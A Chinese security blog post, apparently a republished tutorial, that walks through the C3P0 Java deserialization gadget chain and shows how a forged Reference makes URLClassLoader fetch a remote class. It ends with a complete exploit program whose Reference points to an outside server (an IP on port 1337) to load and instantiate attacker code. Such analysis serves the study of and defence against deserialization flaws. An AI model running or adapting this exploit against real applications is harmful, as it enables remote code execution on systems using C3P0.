【Web】浅聊Java反序列化之C3P0——URLClassLoader利用

目录

前言

C3P0介绍

回归本源——序列化的条件

利用链

利用链分析

入口——PoolBackedDataSourceBase#readObject

拨云见日——PoolBackedDataSourceBase#writeObject

综合分析

EXP


前言

这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩,相较之前纯粹跟全继承Serializable接口的链子,思考又多了一个维度。(虽然不是关键)

C3P0介绍

pom依赖

<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。 

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

回归本源——序列化的条件

求求师傅们别嫌我烦,让我再啰嗦几句QWQ

提问:

一个类的某个属性没有继承Serializable接口,这个类可以序列化吗?

回答:

在 Java 中,如果一个类的某个属性没有实现 Serializable 接口,但这个属性是 transient 的,那么这个类仍然可以被序列化。当对象被序列化时,transient 修饰的属性将会被忽略,不会被序列化到输出流中,而其他非 transient 的属性则会被正常序列化。

如果一个类的某个属性既不是 transient 的,也没有实现 Serializable 接口,那么在尝试对该类的实例对象进行序列化时,会导致编译错误或者在运行时抛出 NotSerializableException 异常。

因此,为了确保一个类的实例对象可以被成功序列化,通常建议满足以下条件:

  1. 类本身实现 Serializable 接口;
  2. 所有非 transient 的属性都实现 Serializable 接口,或者是基本数据类型(如 int、long 等);
  3. 如果有某些属性不需要被序列化,可以将它们声明为 transient。

利用链

PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance

利用链分析

入口——PoolBackedDataSourceBase#readObject

PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性

private ConnectionPoolDataSource connectionPoolDataSource;

 注意到ConnectionPoolDataSource没有继承Serializable接口,也就无法被序列化

public interface ConnectionPoolDataSource  extends CommonDataSource

点到为止,再看PoolBackedDataSourceBase#readObject

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {short version = ois.readShort();switch (version) {case 1:Object o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource = (ConnectionPoolDataSource)o;this.dataSourceName = (String)ois.readObject();o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.extensions = (Map)o;this.factoryClassLocation = (String)ois.readObject();this.identityToken = (String)ois.readObject();this.numHelperThreads = ois.readInt();this.pcs = new PropertyChangeSupport(this);this.vcs = new VetoableChangeSupport(this);return;default:throw new IOException("Unsupported Serialized Version: " + version);}}

我们发现一个奇怪的逻辑:

判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource

也就是在反序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

这么做的目的是什么呢?

抛开目的不谈,((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么

public interface IndirectlySerialized extends Serializable {Object getObject() throws ClassNotFoundException, IOException;
}

 反序列化分析到这一步似乎已经瓶颈,我们下面再来看序列化的过程。

拨云见日——PoolBackedDataSourceBase#writeObject

来看PoolBackedDataSourceBase#writeObject

private void writeObject(ObjectOutputStream oos) throws IOException {oos.writeShort(1);ReferenceIndirector indirector;try {SerializableUtils.toByteArray(this.connectionPoolDataSource);oos.writeObject(this.connectionPoolDataSource);} catch (NotSerializableException var9) {MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);try {indirector = new ReferenceIndirector();oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));} 

这段逻辑是,首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。

因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过),所以我们会进到异常的逻辑中

跟进new ReferenceIndirector().indirectForm

public IndirectlySerialized indirectForm(Object var1) throws Exception {Reference var2 = ((Referenceable)var1).getReference();return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);}

调用了connectionPoolDataSource属性的getReference(),返回Reference后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。

private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends Serializable

OK到这里为止,我们知道了connectionPoolDataSource属性的序列化,最后写入的是ReferenceSerialized

也就是在序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource

太好了,我逐渐理解了一切!

综合分析

上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource,先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。

而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource

好的,我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码

Object o = ois.readObject();if (o instanceof IndirectlySerialized) {o = ((IndirectlySerialized)o).getObject();}this.connectionPoolDataSource = (ConnectionPoolDataSource)o;

((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject

public Object getObject() throws ClassNotFoundException, IOException {try {InitialContext var1;if (this.env == null) {var1 = new InitialContext();} else {var1 = new InitialContext(this.env);}Context var2 = null;if (this.contextName != null) {var2 = (Context)var1.lookup(this.contextName);}return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);}

跟进ReferenceableUtils.referenceToObject()

顾名思义,这个方法用于将引用(Reference)转换为对象

 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {try {String var4 = var0.getFactoryClassName();String var11 = var0.getFactoryClassLocation();ClassLoader var6 = Thread.currentThread().getContextClassLoader();if (var6 == null) {var6 = ReferenceableUtils.class.getClassLoader();}Object var7;if (var11 == null) {var7 = var6;} else {URL var8 = new URL(var11);var7 = new URLClassLoader(new URL[]{var8}, var6);}Class var12 = Class.forName(var4, true, (ClassLoader)var7);ObjectFactory var9 = (ObjectFactory)var12.newInstance();return var9.getObjectInstance(var0, var1, var2, var3);}

Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法),我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。

之后显然可以通过URLClassLoader加载并实例化远程类

EXP

package com.c3p0;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;public class C3P0 {public static void main(String[] args) throws Exception {PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");Field cp = clazz.getDeclaredField("connectionPoolDataSource");cp.setAccessible(true);cp.set(base, new evil());ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(base);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static class evil implements ConnectionPoolDataSource, Referenceable{public Reference getReference() throws NamingException {return new Reference("calc", "calc", "http://124.222.136.33:1337/");}public PooledConnection getPooledConnection() throws SQLException {return null;}public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}public PrintWriter getLogWriter() throws SQLException {return null;}public void setLogWriter(PrintWriter out) throws SQLException {}public void setLoginTimeout(int seconds) throws SQLException {}public int getLoginTimeout() throws SQLException {return 0;}public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/735505.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mybatis-plus连接多数据源操作(SQLServer、MySQL数据库)

Mybatis-plus连接多数据源操作&#xff08;SQLServer、MySQL数据库&#xff09; 一、依赖二、yml配置文件三、业务类四、测试 一、依赖 <!--mybatis多数据源--><dependency><groupId>com.baomidou</groupId><artifactId>dynamic-datasource-spri…

采用 Amazon DocumentDB 和 Amazon Bedrock 上的 Claude 3 构建游戏行业产品推荐

前言 大语言模型&#xff08;LLM&#xff09;自面世以来即展示了其创新能力&#xff0c;但 LLM 面临着幻觉等挑战。如何通过整合外部数据库的知识&#xff0c;检索增强生成&#xff08;RAG&#xff09;已成为通用和可行的解决方案。这提高了模型的准确性和可信度&#xff0c;特…

C++ 求圆面积

编写一个带默认参数的函数area&#xff0c;第一个参数为半径&#xff0c;第二个参数为圆周率&#xff0c;默认值为3.14 .参数类型及返回类型都为double. 裁判测试程序样例&#xff1a; #include <iostream> using namespace std; /* 请在这里填写答案 */ int main() …

Autosar教程-Mcal教程-GPT配置教程

3.3GPT配置、生成 3.3.1 GPT配置所需要的元素 GPT实际上就是硬件定时器,需要配置的元素有: 1)定时器时钟:定时器要工作需要使能它的时钟源 2)定时器分步:时钟源进到定时器后可以通过分频后再给到定时器 定时器模块选择:MCU有多个定时器模块,需要决定使用哪个定时器模块作…

21-Java观察者模式 ( Observer Pattern )

Java备忘录模式 摘要实现范例 观察者模式 ( Observer Pattern ) 常用于对象间存在一对多关系时&#xff0c;比如&#xff0c;当一个对象被修改时&#xff0c;需要自动通知它的依赖对象 观察者模式属于行为型模式 摘要 1. 意图 定义对象间的一种一对多的依赖关系&#xff…

css选择器nth-child(n)的学习理解

css3 新增的:nth-child(n)选择器您真的理解吗&#xff1f; :nth-child(n)&#xff1a;用来选择某个父元素的一个或多个特定的子元素。其中 n 是一个参数&#xff0c;代表了你想要选择的子元素的序号。这里的 n 可以是以下几种形式&#xff1a; /*1:具体的数字&#xff1a;*/ …

给 spyter/all-spark-notebook 添加scala支持

spyter/all-spark-notebook默认没有安装scala notebook&#xff0c;需要手动添加。 你可以创建一个新的 Dockerfile&#xff0c;在其中添加你需要的配置和组件。以下是一个简单的例子&#xff1a; FROM jupyter/all-spark-notebook:x86_64-ubuntu-22.04 #冒号后可以是latest&a…

【漏洞复现】锐捷网络NBR700G 信息泄露

0x01 产品简介 锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备。 0x02 漏洞概述 锐捷网络NBR700G路由器存在信息漏洞。未授权的攻击者可以通过该漏洞获取敏感信息。 0x03 测绘语句 fofa&#xff1a;body"系统负荷过高&#xff0c;导致网络拥塞&…

Mint_21.3 drawing-area和goocanvas的FB笔记(六)

FreeBASIC gfx 基本 graphics 绘图 一、旧故事 DOS时代PC技术将各类硬插卡限制在 640K到1MB的空间范围内&#xff0c;BIOS负责在相关位置写读测试卡的存在&#xff0c;那时期的Color Video在0xB800&#xff0c;Monochrome Video在0xB000&#xff0c;这是显卡的内存地址&#…

Java中介者模式剖析及使用场景

中介者模式 一、介绍二、智能家居系统项目实现三、总结1.优点2.缺点3.使用经验4.Spring框架类似使用思想 一、介绍 介者模式是一种行为型设计模式&#xff0c;它允许对象之间通过一个中介者对象进行通信&#xff0c;而不是直接相互引用。将多对多的关系转化为一对多的关系&…

iOS17.4获取UDID安装mobileconfig描述文件失败 提示“安全延迟进行中”问题 | 失窃设备保护

iOS17.4这两天已经正式发布&#xff0c; 在iOS 17.4版本中新增了一个名为"失窃设备保护"的功能&#xff0c;并提供了一个"需要安全延迟"的选项。 iOS17.4获取UDID安装mobileconfig描述文件失败 提示“安全延迟进行中”问题 | 失窃设备保护 当用户选择启用…

美洲狮优化算法(Puma Optimizar Algorithm ,POA)求解机器人栅格地图最短路径规划(提供MATLAB代码)

一、美洲狮优化算法 美洲狮优化算法&#xff08;Puma Optimizar Algorithm &#xff0c;POA&#xff09;由Benyamin Abdollahzadeh等人于2024年提出&#xff0c;其灵感来自美洲狮的智慧和生活。在该算法中&#xff0c;在探索和开发的每个阶段都提出了独特而强大的机制&#xf…

MySQL在报表统计中的综合实践:SQL语句与函数应用

引言 在数据分析与报表制作领域&#xff0c;MySQL因其出色的性能和丰富的统计功能&#xff0c;成为了众多企业构建报表系统的首选数据库引擎。本篇文章将深度剖析如何利用MySQL的SQL语句和统计函数完成日常报表统计任务&#xff0c;包括但不限于按天、周、月、季度和年的数据汇…

【LeetCode: 212. 单词搜索 II - dfs】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

华为OD机试C卷“跳步-数组”Java解答

描述 示例 算法思路1 不断移动数组将元素删去&#xff08;并未彻底删除&#xff0c;而是将数字元素前移实现“伪删除”&#xff09;这样删除元素的位置就呈现一定规律&#xff0c;详细见下图&#xff08;潦草的画&#xff09; 答案1 import java.util.*;public class Main {…

Neovim基本介绍

目录 Neovim出现的原因优化点安装1.源代码安装2.管理包安装3.下载安装包安装 配置运行健康检查Oni Neovim出现的原因 neovim代码库不需要向后兼容,方便开发维护解决vim插件编写困难,特别是异步操作解决vim插件编写困难,不再要求插件开发者需要熟悉vimscript默认配置适应现代开…

【MySql学习之路】window环境下MySql安装和安装过程中出现的问题

environment:windows software:mysql 本文主要分享mysql关系型数据库在干净的环境下,第一次安装以及在安装过程中出现的常见问题和解决方法。目前官网给出的安装包有两种格式,一个是msi格式,一个是zip格式的。很多人下了zip格式的解压发现没有setup.exe,面对一堆文件无从…

最全NVIDIA Jetson开发板参数配置和购买指南

NVIDIA开发的GPU不仅在电脑显卡领域占据大量份额&#xff0c;在嵌入式NVIDIA的Jeston系列开发板也近乎是领先的存在&#xff0c;特别是NVIDIA Jeston系列开发板在算力和成本的平衡上都要优于其他厂家&#xff0c;性价比很高&#xff0c;设备体积小。本博文旨在给采购NVIDIA Jes…

2024年华为OD机试真题- 项目排期-Python-OD统一考试(C卷)

题目描述: 项目组共有N个开发人员,项目经理接到了M个独立的需求,每个需求的工作量不同,且每个需求只能由一个开发人员独立完成,不能多人合作。假定各个需求直接无任何先后依赖关系,请设计算法帮助项目经理进行工作安排,使整个项目能用最少的时间交付。 输入描述: 第一行…

【LeetCode每日一题】299. 猜数字游戏

文章目录 [299. 猜数字游戏](https://leetcode.cn/problems/bulls-and-cows/)思路&#xff1a;代码&#xff1a; 299. 猜数字游戏 思路&#xff1a; 遍历两个字符串 secret 和 guess&#xff0c;若字符既在相同位置上又相等&#xff0c;则位置和数字都正确&#xff0c;对应的 …